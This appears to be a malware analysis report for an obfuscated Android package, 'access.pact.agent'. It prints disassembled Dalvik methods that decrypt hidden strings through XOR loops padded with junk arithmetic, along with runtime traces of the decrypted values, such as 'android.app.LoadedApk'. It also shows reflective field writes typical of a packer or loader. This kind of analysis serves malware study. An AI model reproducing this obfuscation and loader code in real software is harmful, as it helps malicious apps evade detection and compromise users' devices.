                                            17cond_21: const v5, 0xbaba6
                                            18if-eq v2, v5, :cond_27
                                            19goto/16 :goto_2a
                                            20cond_27: const v3, 0xdbdc1
                                            21goto_2a: const/16 v5, 0x32
                                            22new-array v6, v5, [B
                                            23fill-array-data v6, :array_120
                                            24const v7, 0xd7517
                                            25if-lt v0, v7, :cond_37
                                            26goto/16 :goto_5b
                                            27cond_37: const/16 v7, 0x41c5
                                            28if-gt v0, v7, :cond_4f
                                            29const v7, 0x7bb6d
                                            30if-ne v3, v7, :cond_4f
                                            31const v7, 0x34ea5
                                            32mul-int v3, v3, v7
                                            33div-int/2addr v0, v2
                                            34sub-int/2addr v3, v0
                                            35const/16 v0, 0x31
                                            36div-int v2, v0, v3
                                            37move v0, v2
                                            38const/16 v3, 0x31
                                            39goto/16 :goto_5b
                                            40cond_4f: const v2, 0xd2a10
                                            41if-ge v0, v2, :cond_59
                                            42const v2, 0xb556e
                                            43if-lt v3, v2, :cond_5b
                                            44cond_59: const/16 v0, 0x2e
                                            45cond_5b: new-array v2, v5, [B
                                            46const/16 v7, 0x12
                                            47new-array v7, v7, [I
                                            48fill-array-data v7, :array_13e
                                            49move v7, v3
                                            50move v3, v0
                                            51const/4 v0, 0x0
                                            52goto_67: const/16 v8, 0x1f
                                            53if-eq v0, v8, :cond_72
                                            54const/16 v7, 0x3b
                                            55const/16 v3, 0x2a
                                            56add-int/lit8 v0, v0, 0x1
                                            57goto/16 :goto_67
                                            58cond_72: new-array v0, v1, [B
                                            59fill-array-data v0, :array_166
                                            60const/4 v1, 0x0
                                            61goto_78: const/16 v8, 0x1d
                                            62if-ge v1, v8, :cond_81
                                            63const/16 v3, 0x885
                                            64add-int/lit8 v1, v1, 0x1
                                            65goto/16 :goto_78
                                            66cond_81: const v1, 0x24a7e
                                            67if-eq v3, v1, :cond_8b
                                            68const/16 v3, 0x396
                                            69const/16 v1, 0x9e
                                            70goto/16 :goto_91
                                            71cond_8b: const/16 v7, 0x2c
                                            72div-int/lit8 v1, v3, 0x72
                                            73rsub-int/lit8 v1, v1, 0x2c
                                            74goto_91: const v8, 0xd9b18
                                            75if-lt v1, v8, :cond_98
                                            76sub-int/2addr v7, v3
                                            77goto/16 :goto_b3
                                            78cond_98: const v8, 0xce9f0
                                            79if-lt v1, v8, :cond_a7
                                            80const v8, 0x16105
                                            81if-ge v3, v8, :cond_a7
                                            82sub-int/2addr v7, v3
                                            83add-int/2addr v7, v1
                                            84const/16 v3, 0x62
                                            85goto/16 :goto_b3
                                            86cond_a7: const v8, 0x9778c
                                            87if-le v1, v8, :cond_b1
                                            88const v8, 0xb4890
                                            89if-le v3, v8, :cond_b3
                                            90cond_b1: const/16 v1, 0x8c
                                            91cond_b3: move v8, v3
                                            92move v3, v1
                                            93const/4 v1, 0x0
                                            94goto_b6: if-ge v1, v5, :cond_e8
                                            95const v9, 0x2b72c
                                            96if-lt v7, v9, :cond_c3
                                            97const v9, 0xb7ee5
                                            98add-int/2addr v9, v3
                                            99sub-int/2addr v9, v8
                                            100xor-int/2addr v7, v9
                                            101cond_c3: aget-byte v9, v6, v1
                                            102add-int v10, v7, v3
                                            103add-int/2addr v10, v8
                                            104rem-int/lit8 v8, v1, 0x3
                                            105aget-byte v8, v0, v8
                                            106const v11, 0x15d07
                                            107if-lt v7, v11, :cond_d4
                                            108const/16 v7, 0x45
                                            109goto/16 :goto_d6
                                            110cond_d4: const/16 v3, 0x11d
                                            111goto_d6: xor-int/2addr v8, v9
                                            112int-to-byte v8, v8
                                            113aput-byte v8, v2, v1
                                            114const v8, 0x18446
                                            115mul-int v10, v10, v7
                                            116add-int/2addr v8, v10
                                            117const v7, 0x4fbe7
                                            118sub-int/2addr v7, v8
                                            119add-int/2addr v7, v3
                                            120add-int/lit8 v1, v1, 0x1
                                            121goto/16 :goto_b6
                                            122cond_e8: const/16 v0, 0xb
                                            123new-array v0, v0, [I
                                            124fill-array-data v0, :array_16c
                                            125array-length v1, v0
                                            126const/4 v5, 0x0
                                            127goto_f1: if-ge v5, v1, :cond_f9
                                            128aget v6, v0, v5
                                            129add-int/lit8 v5, v5, 0x1
                                            130const/4 v8, 0x0
                                            131goto/16 :goto_f1
                                            132cond_f9:
                                            133invoke-static {v8, v3, v2}, Laccess/pact/agent/DShYpWtBhUhFx;->eyebrowuseful(II[B)Ljava/lang/String;
                                            • Time: 1496713
                                              • This:
                                                • qpbIgipkIbEJAhXBsJBxRcLouFGFSNgkbPnYeyPlOEHZnqikED
                                              • p0: [B@33d518e
                                              • p0: qpbIgipkIbEJAhXBsJBxRcLouFGFSNgkbPnYeyPlOEHZnqikED
                                              • p0: 717062496769706B4962454A41685842734A427852634C6F75464746534E676B62506E596579506C4F45485A6E71696B4544
                                              • Return:
                                                • qpbIgipkIbEJAhXBsJBxRcLouFGFSNgkbPnYeyPlOEHZnqikED
                                            134move-result-object v0
                                            135return-object v0
                                            136array_120: nop
                                            Cross References
                                            APIs
                                            • access.pact.agent.DShYpWtBhUhFx.accidentnothing
                                            Strings
                                            • iLRapmXgZTQNcgwoQduScUjXabT
                                            Position Instruction Meta Information
                                            0const/16 v0, 0xf
                                            1new-array v0, v0, [I
                                            2fill-array-data v0, :array_fe
                                            3const/4 v1, 0x1
                                            4aget v2, v0, v1
                                            5const/4 v3, 0x6
                                            6aget v3, v0, v3
                                            7const/4 v4, 0x0
                                            8aget v0, v0, v4
                                            9mul-int v2, v2, v3
                                            10add-int/2addr v2, v0
                                            11const/16 v0, 0x3e8
                                            12const v3, 0xdb9d9
                                            13const v5, 0xf33f7
                                            14if-gt v2, v5, :cond_21
                                            15const v0, 0x6517c000
                                            16goto/16 :goto_2a
                                            17cond_21: const v5, 0xbaba6
                                            18if-eq v2, v5, :cond_27
                                            19goto/16 :goto_2a
                                            20cond_27: const v3, 0xdbdc1
                                            21goto_2a: const/16 v5, 0x1b
                                            22new-array v6, v5, [B
                                            23fill-array-data v6, :array_120
                                            24const v7, 0xd7517
                                            25if-lt v0, v7, :cond_37
                                            26goto/16 :goto_5b
                                            27cond_37: const/16 v7, 0x41c5
                                            28if-gt v0, v7, :cond_4f
                                            29const v7, 0x7bb6d
                                            30if-ne v3, v7, :cond_4f
                                            31const v7, 0x34ea5
                                            32mul-int v3, v3, v7
                                            33div-int/2addr v0, v2
                                            34sub-int/2addr v3, v0
                                            35const/16 v0, 0x31
                                            36div-int v2, v0, v3
                                            37move v0, v2
                                            38const/16 v3, 0x31
                                            39goto/16 :goto_5b
                                            40cond_4f: const v2, 0xd2a10
                                            41if-ge v0, v2, :cond_59
                                            42const v2, 0xb556e
                                            43if-lt v3, v2, :cond_5b
                                            44cond_59: const/16 v0, 0x2e
                                            45cond_5b: new-array v2, v5, [B
                                            46const/16 v7, 0x12
                                            47new-array v7, v7, [I
                                            48fill-array-data v7, :array_132
                                            49move v7, v3
                                            50move v3, v0
                                            51const/4 v0, 0x0
                                            52goto_67: const/16 v8, 0x1f
                                            53if-eq v0, v8, :cond_72
                                            54const/16 v7, 0x3b
                                            55const/16 v3, 0x2a
                                            56add-int/lit8 v0, v0, 0x1
                                            57goto/16 :goto_67
                                            58cond_72: new-array v0, v1, [B
                                            59fill-array-data v0, :array_15a
                                            60const/4 v1, 0x0
                                            61goto_78: const/16 v8, 0x1d
                                            62if-ge v1, v8, :cond_81
                                            63const/16 v3, 0x885
                                            64add-int/lit8 v1, v1, 0x1
                                            65goto/16 :goto_78
                                            66cond_81: const v1, 0x24a7e
                                            67if-eq v3, v1, :cond_8b
                                            68const/16 v3, 0x396
                                            69const/16 v1, 0x9e
                                            70goto/16 :goto_91
                                            71cond_8b: const/16 v7, 0x2c
                                            72div-int/lit8 v1, v3, 0x72
                                            73rsub-int/lit8 v1, v1, 0x2c
                                            74goto_91: const v8, 0xd9b18
                                            75if-lt v1, v8, :cond_98
                                            76sub-int/2addr v7, v3
                                            77goto/16 :goto_b3
                                            78cond_98: const v8, 0xce9f0
                                            79if-lt v1, v8, :cond_a7
                                            80const v8, 0x16105
                                            81if-ge v3, v8, :cond_a7
                                            82sub-int/2addr v7, v3
                                            83add-int/2addr v7, v1
                                            84const/16 v3, 0x62
                                            85goto/16 :goto_b3
                                            86cond_a7: const v8, 0x9778c
                                            87if-le v1, v8, :cond_b1
                                            88const v8, 0xb4890
                                            89if-le v3, v8, :cond_b3
                                            90cond_b1: const/16 v1, 0x8c
                                            91cond_b3: move v8, v3
                                            92move v3, v1
                                            93const/4 v1, 0x0
                                            94goto_b6: if-ge v1, v5, :cond_e8
                                            95const v9, 0x2b72c
                                            96if-lt v7, v9, :cond_c3
                                            97const v9, 0xb7ee5
                                            98add-int/2addr v9, v3
                                            99sub-int/2addr v9, v8
                                            100xor-int/2addr v7, v9
                                            101cond_c3: aget-byte v9, v6, v1
                                            102add-int v10, v7, v3
                                            103add-int/2addr v10, v8
                                            104rem-int/lit8 v8, v1, 0x1
                                            105aget-byte v8, v0, v8
                                            106const v11, 0x15d07
                                            107if-lt v7, v11, :cond_d4
                                            108const/16 v7, 0x45
                                            109goto/16 :goto_d6
                                            110cond_d4: const/16 v3, 0x11d
                                            111goto_d6: xor-int/2addr v8, v9
                                            112int-to-byte v8, v8
                                            113aput-byte v8, v2, v1
                                            114const v8, 0x18446
                                            115mul-int v10, v10, v7
                                            116add-int/2addr v8, v10
                                            117const v7, 0x4fbe7
                                            118sub-int/2addr v7, v8
                                            119add-int/2addr v7, v3
                                            120add-int/lit8 v1, v1, 0x1
                                            121goto/16 :goto_b6
                                            122cond_e8: const/16 v0, 0xb
                                            123new-array v0, v0, [I
                                            124fill-array-data v0, :array_160
                                            125array-length v1, v0
                                            126const/4 v5, 0x0
                                            127goto_f1: if-ge v5, v1, :cond_f9
                                            128aget v6, v0, v5
                                            129add-int/lit8 v5, v5, 0x1
                                            130const/4 v8, 0x0
                                            131goto/16 :goto_f1
                                            132cond_f9:
                                            133invoke-static {v8, v3, v2}, Laccess/pact/agent/DShYpWtBhUhFx;->accidentnothing(II[B)Ljava/lang/String;
                                            • Time: 1496649
                                              • This:
                                                • iLRapmXgZTQNcgwoQduScUjXabT
                                              • p0: [B@14a4342
                                              • p0: iLRapmXgZTQNcgwoQduScUjXabT
                                              • p0: 694C5261706D58675A54514E6367776F5164755363556A58616254
                                              • Return:
                                                • iLRapmXgZTQNcgwoQduScUjXabT
                                            134move-result-object v0
                                            135return-object v0
                                            136array_132: nop
                                            Cross References
                                            APIs
                                            Strings
                                            • android.app.LoadedApk
                                            Position Instruction Meta Information
                                            0const/16 v0, 0xf
                                            1new-array v0, v0, [I
                                            2fill-array-data v0, :array_fe
                                            3const/4 v1, 0x3
                                            4aget v2, v0, v1
                                            5const/4 v3, 0x6
                                            6aget v3, v0, v3
                                            7const/4 v4, 0x0
                                            8aget v0, v0, v4
                                            9mul-int v2, v2, v3
                                            10add-int/2addr v2, v0
                                            11const/16 v0, 0x3e8
                                            12const v3, 0xdb9d9
                                            13const v5, 0xf33f7
                                            14if-gt v2, v5, :cond_21
                                            15const v0, 0x6517c000
                                            16goto/16 :goto_2a
                                            17cond_21: const v5, 0xbaba6
                                            18if-eq v2, v5, :cond_27
                                            19goto/16 :goto_2a
                                            20cond_27: const v3, 0xdbdc1
                                            21goto_2a: const/16 v5, 0x15
                                            22new-array v6, v5, [B
                                            23fill-array-data v6, :array_120
                                            24const v7, 0xd7517
                                            25if-lt v0, v7, :cond_37
                                            26goto/16 :goto_5b
                                            27cond_37: const/16 v7, 0x41c5
                                            28if-gt v0, v7, :cond_4f
                                            29const v7, 0x7bb6d
                                            30if-ne v3, v7, :cond_4f
                                            31const v7, 0x34ea5
                                            32mul-int v3, v3, v7
                                            33div-int/2addr v0, v2
                                            34sub-int/2addr v3, v0
                                            35const/16 v0, 0x31
                                            36div-int v2, v0, v3
                                            37move v0, v2
                                            38const/16 v3, 0x31
                                            39goto/16 :goto_5b
                                            40cond_4f: const v2, 0xd2a10
                                            41if-ge v0, v2, :cond_59
                                            42const v2, 0xb556e
                                            43if-lt v3, v2, :cond_5b
                                            44cond_59: const/16 v0, 0x2e
                                            45cond_5b: new-array v2, v5, [B
                                            46const/16 v7, 0x12
                                            47new-array v7, v7, [I
                                            48fill-array-data v7, :array_130
                                            49move v7, v3
                                            50move v3, v0
                                            51const/4 v0, 0x0
                                            52goto_67: const/16 v8, 0x1f
                                            53if-eq v0, v8, :cond_72
                                            54const/16 v7, 0x3b
                                            55const/16 v3, 0x2a
                                            56add-int/lit8 v0, v0, 0x1
                                            57goto/16 :goto_67
                                            58cond_72: new-array v0, v1, [B
                                            59fill-array-data v0, :array_158
                                            60const/4 v1, 0x0
                                            61goto_78: const/16 v8, 0x1d
                                            62if-ge v1, v8, :cond_81
                                            63const/16 v3, 0x885
                                            64add-int/lit8 v1, v1, 0x1
                                            65goto/16 :goto_78
                                            66cond_81: const v1, 0x24a7e
                                            67if-eq v3, v1, :cond_8b
                                            68const/16 v3, 0x396
                                            69const/16 v1, 0x9e
                                            70goto/16 :goto_91
                                            71cond_8b: const/16 v7, 0x2c
                                            72div-int/lit8 v1, v3, 0x72
                                            73rsub-int/lit8 v1, v1, 0x2c
                                            74goto_91: const v8, 0xd9b18
                                            75if-lt v1, v8, :cond_98
                                            76sub-int/2addr v7, v3
                                            77goto/16 :goto_b3
                                            78cond_98: const v8, 0xce9f0
                                            79if-lt v1, v8, :cond_a7
                                            80const v8, 0x16105
                                            81if-ge v3, v8, :cond_a7
                                            82sub-int/2addr v7, v3
                                            83add-int/2addr v7, v1
                                            84const/16 v3, 0x62
                                            85goto/16 :goto_b3
                                            86cond_a7: const v8, 0x9778c
                                            87if-le v1, v8, :cond_b1
                                            88const v8, 0xb4890
                                            89if-le v3, v8, :cond_b3
                                            90cond_b1: const/16 v1, 0x8c
                                            91cond_b3: move v8, v3
                                            92move v3, v1
                                            93const/4 v1, 0x0
                                            94goto_b6: if-ge v1, v5, :cond_e8
                                            95const v9, 0x2b72c
                                            96if-lt v7, v9, :cond_c3
                                            97const v9, 0xb7ee5
                                            98add-int/2addr v9, v3
                                            99sub-int/2addr v9, v8
                                            100xor-int/2addr v7, v9
                                            101cond_c3: aget-byte v9, v6, v1
                                            102add-int v10, v7, v3
                                            103add-int/2addr v10, v8
                                            104rem-int/lit8 v8, v1, 0x3
                                            105aget-byte v8, v0, v8
                                            106const v11, 0x15d07
                                            107if-lt v7, v11, :cond_d4
                                            108const/16 v7, 0x45
                                            109goto/16 :goto_d6
                                            110cond_d4: const/16 v3, 0x11d
                                            111goto_d6: xor-int/2addr v8, v9
                                            112int-to-byte v8, v8
                                            113aput-byte v8, v2, v1
                                            114const v8, 0x18446
                                            115mul-int v10, v10, v7
                                            116add-int/2addr v8, v10
                                            117const v7, 0x4fbe7
                                            118sub-int/2addr v7, v8
                                            119add-int/2addr v7, v3
                                            120add-int/lit8 v1, v1, 0x1
                                            121goto/16 :goto_b6
                                            122cond_e8: const/16 v0, 0xb
                                            123new-array v0, v0, [I
                                            124fill-array-data v0, :array_15e
                                            125array-length v1, v0
                                            126const/4 v5, 0x0
                                            127goto_f1: if-ge v5, v1, :cond_f9
                                            128aget v6, v0, v5
                                            129add-int/lit8 v5, v5, 0x1
                                            130const/4 v8, 0x0
                                            131goto/16 :goto_f1
                                            132cond_f9:
                                            133invoke-static {v8, v3, v2}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->strikefinal(II[B)Ljava/lang/String;
                                            • Time: 1498841
                                              • This:
                                                • android.app.LoadedApk
                                              • p0: [B@40bddb5
                                              • p0: android.app.LoadedApk
                                              • p0: 616E64726F69642E6170702E4C6F6164656441706B
                                              • Return:
                                                • android.app.LoadedApk
                                            134move-result-object v0
                                            135return-object v0
                                            136array_120: nop
                                            Cross References
                                            APIs
                                            • access.pact.agent.DShYpWtBhUhFx.gymmotor
                                            Strings
                                            • wCQDitBelwfoCOOANswdXhTc
                                            Position Instruction Meta Information
                                            0const/16 v0, 0xf
                                            1new-array v0, v0, [I
                                            2fill-array-data v0, :array_fe
                                            3const/4 v1, 0x3
                                            4aget v2, v0, v1
                                            5const/4 v3, 0x6
                                            6aget v3, v0, v3
                                            7const/4 v4, 0x0
                                            8aget v0, v0, v4
                                            9mul-int v2, v2, v3
                                            10add-int/2addr v2, v0
                                            11const/16 v0, 0x3e8
                                            12const v3, 0xdb9d9
                                            13const v5, 0xf33f7
                                            14if-gt v2, v5, :cond_21
                                            15const v0, 0x6517c000
                                            16goto/16 :goto_2a
                                            17cond_21: const v5, 0xbaba6
                                            18if-eq v2, v5, :cond_27
                                            19goto/16 :goto_2a
                                            20cond_27: const v3, 0xdbdc1
                                            21goto_2a: const/16 v5, 0x18
                                            22new-array v6, v5, [B
                                            23fill-array-data v6, :array_120
                                            24const v7, 0xd7517
                                            25if-lt v0, v7, :cond_37
                                            26goto/16 :goto_5b
                                            27cond_37: const/16 v7, 0x41c5
                                            28if-gt v0, v7, :cond_4f
                                            29const v7, 0x7bb6d
                                            30if-ne v3, v7, :cond_4f
                                            31const v7, 0x34ea5
                                            32mul-int v3, v3, v7
                                            33div-int/2addr v0, v2
                                            34sub-int/2addr v3, v0
                                            35const/16 v0, 0x31
                                            36div-int v2, v0, v3
                                            37move v0, v2
                                            38const/16 v3, 0x31
                                            39goto/16 :goto_5b
                                            40cond_4f: const v2, 0xd2a10
                                            41if-ge v0, v2, :cond_59
                                            42const v2, 0xb556e
                                            43if-lt v3, v2, :cond_5b
                                            44cond_59: const/16 v0, 0x2e
                                            45cond_5b: new-array v2, v5, [B
                                            46const/16 v7, 0x12
                                            47new-array v7, v7, [I
                                            48fill-array-data v7, :array_130
                                            49move v7, v3
                                            50move v3, v0
                                            51const/4 v0, 0x0
                                            52goto_67: const/16 v8, 0x1f
                                            53if-eq v0, v8, :cond_72
                                            54const/16 v7, 0x3b
                                            55const/16 v3, 0x2a
                                            56add-int/lit8 v0, v0, 0x1
                                            57goto/16 :goto_67
                                            58cond_72: new-array v0, v1, [B
                                            59fill-array-data v0, :array_158
                                            60const/4 v1, 0x0
                                            61goto_78: const/16 v8, 0x1d
                                            62if-ge v1, v8, :cond_81
                                            63const/16 v3, 0x885
                                            64add-int/lit8 v1, v1, 0x1
                                            65goto/16 :goto_78
                                            66cond_81: const v1, 0x24a7e
                                            67if-eq v3, v1, :cond_8b
                                            68const/16 v3, 0x396
                                            69const/16 v1, 0x9e
                                            70goto/16 :goto_91
                                            71cond_8b: const/16 v7, 0x2c
                                            72div-int/lit8 v1, v3, 0x72
                                            73rsub-int/lit8 v1, v1, 0x2c
                                            74goto_91: const v8, 0xd9b18
                                            75if-lt v1, v8, :cond_98
                                            76sub-int/2addr v7, v3
                                            77goto/16 :goto_b3
                                            78cond_98: const v8, 0xce9f0
                                            79if-lt v1, v8, :cond_a7
                                            80const v8, 0x16105
                                            81if-ge v3, v8, :cond_a7
                                            82sub-int/2addr v7, v3
                                            83add-int/2addr v7, v1
                                            84const/16 v3, 0x62
                                            85goto/16 :goto_b3
                                            86cond_a7: const v8, 0x9778c
                                            87if-le v1, v8, :cond_b1
                                            88const v8, 0xb4890
                                            89if-le v3, v8, :cond_b3
                                            90cond_b1: const/16 v1, 0x8c
                                            91cond_b3: move v8, v3
                                            92move v3, v1
                                            93const/4 v1, 0x0
                                            94goto_b6: if-ge v1, v5, :cond_e8
                                            95const v9, 0x2b72c
                                            96if-lt v7, v9, :cond_c3
                                            97const v9, 0xb7ee5
                                            98add-int/2addr v9, v3
                                            99sub-int/2addr v9, v8
                                            100xor-int/2addr v7, v9
                                            101cond_c3: aget-byte v9, v6, v1
                                            102add-int v10, v7, v3
                                            103add-int/2addr v10, v8
                                            104rem-int/lit8 v8, v1, 0x3
                                            105aget-byte v8, v0, v8
                                            106const v11, 0x15d07
                                            107if-lt v7, v11, :cond_d4
                                            108const/16 v7, 0x45
                                            109goto/16 :goto_d6
                                            110cond_d4: const/16 v3, 0x11d
                                            111goto_d6: xor-int/2addr v8, v9
                                            112int-to-byte v8, v8
                                            113aput-byte v8, v2, v1
                                            114const v8, 0x18446
                                            115mul-int v10, v10, v7
                                            116add-int/2addr v8, v10
                                            117const v7, 0x4fbe7
                                            118sub-int/2addr v7, v8
                                            119add-int/2addr v7, v3
                                            120add-int/lit8 v1, v1, 0x1
                                            121goto/16 :goto_b6
                                            122cond_e8: const/16 v0, 0xb
                                            123new-array v0, v0, [I
                                            124fill-array-data v0, :array_15e
                                            125array-length v1, v0
                                            126const/4 v5, 0x0
                                            127goto_f1: if-ge v5, v1, :cond_f9
                                            128aget v6, v0, v5
                                            129add-int/lit8 v5, v5, 0x1
                                            130const/4 v8, 0x0
                                            131goto/16 :goto_f1
                                            132cond_f9:
                                            133invoke-static {v8, v3, v2}, Laccess/pact/agent/DShYpWtBhUhFx;->gymmotor(II[B)Ljava/lang/String;
                                            • Time: 1496730
                                              • This:
                                                • wCQDitBelwfoCOOANswdXhTc
                                              • p0: [B@f82b1a8
                                              • p0: wCQDitBelwfoCOOANswdXhTc
                                              • p0: 77435144697442656C77666F434F4F414E73776458685463
                                              • Return:
                                                • wCQDitBelwfoCOOANswdXhTc
                                            134move-result-object v0
                                            135return-object v0
                                            Cross References
                                            APIs
                                            • android.content.Context.getPackageName
                                            Strings
                                            • access.pact.agent
                                            Position Instruction Meta Information
                                            0iget v0, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            1const v1, 0xd0509
                                            2sub-int/2addr v0, v1
                                            3iput v0, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            4sget v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            5iget-wide v0, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            6const-wide/32 v2, 0x69acd7
                                            7div-long v2, v0, v2
                                            8add-long/2addr v2, v0
                                            9const-wide/32 v0, 0x9291d
                                            10sub-long/2addr v2, v0
                                            11iput-wide v2, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            12const/4 v0, 0x0
                                            13goto_19: const/16 v1, 0x29
                                            14if-ge v0, v1, :cond_40
                                            15sget v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            16const v2, 0x47fd4b00 # 129686.0f
                                            17div-float/2addr v1, v2
                                            18sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            19const-wide/32 v1, 0x2cccec
                                            20iget-wide v3, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            21div-long/2addr v3, v3
                                            22or-long/2addr v1, v3
                                            23iput-wide v1, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            24const v1, 0x4612dc00 # 9399.0f
                                            25sget v2, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            26const v3, 0x4964f850 # 937861.0f
                                            27sub-float/2addr v1, v2
                                            28add-float/2addr v1, v2
                                            29sub-float/2addr v1, v3
                                            30sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            31iget-wide v1, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->PNUTyEyAujZXrTPLmTc_8455867:J
                                            32add-int/lit8 v0, v0, 0x1
                                            33goto/16 :goto_19
                                            34cond_40:
                                            35invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                            • Time: 1498894
                                              • This:
                                                • android.app.ContextImpl@1f4aeee
                                              • Return:
                                                • access.pact.agent
                                            36move-result-object p1
                                            37return-object p1
                                            Cross References
                                            APIs
                                            • java.lang.reflect.Field.set
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Throws;
                                            1value = {
                                            2Ljava/lang/IllegalAccessException;,
                                            3Ljava/lang/NoSuchMethodException;,
                                            4Ljava/lang/reflect/InvocationTargetException;
                                            5}
                                            6.end annotation
                                            7const/16 v0, 0x65
                                            8sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            9sget v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            10sget v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            11iget v2, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            12sub-int/2addr v0, v1
                                            13const v3, 0x86e01
                                            14div-int/2addr v2, v3
                                            15sub-int/2addr v0, v2
                                            16sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            17sget v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            18const v2, 0xad3c1
                                            19if-ne v1, v2, :cond_27
                                            20const/16 v0, 0x20
                                            21iput v0, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            22iget v0, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            23const v1, 0x588f2
                                            24mul-int v0, v0, v1
                                            25sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            26goto/16 :goto_56
                                            27cond_27: const v2, 0x75f5f
                                            28if-lt v1, v2, :cond_31
                                            29const v1, 0x7de4e
                                            30if-gt v0, v1, :cond_56
                                            31cond_31: const/16 v0, 0x3b
                                            32sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            33const v0, 0x76cf0
                                            34sget v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            35iget v2, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            36const v3, 0x267f8
                                            37and-int/2addr v0, v1
                                            38and-int/2addr v0, v2
                                            39xor-int/2addr v0, v3
                                            40int-to-float v0, v0
                                            41sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            42const/16 v0, 0x5d
                                            43sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            44const v0, 0x4d924
                                            45sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            46sget v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            47const v1, 0x7295a
                                            48shl-int/2addr v0, v1
                                            49sput v0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            50goto_56:
                                            51invoke-virtual {p0, p5}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->uncovertumble(Ljava/lang/ref/WeakReference;)Ljava/lang/Object;
                                            52move-result-object v0
                                            53move-object v1, p0
                                            54move-object v2, p2
                                            55move-object v3, p3
                                            56move-object v4, p4
                                            57move-object v5, p1
                                            58move-object v6, p5
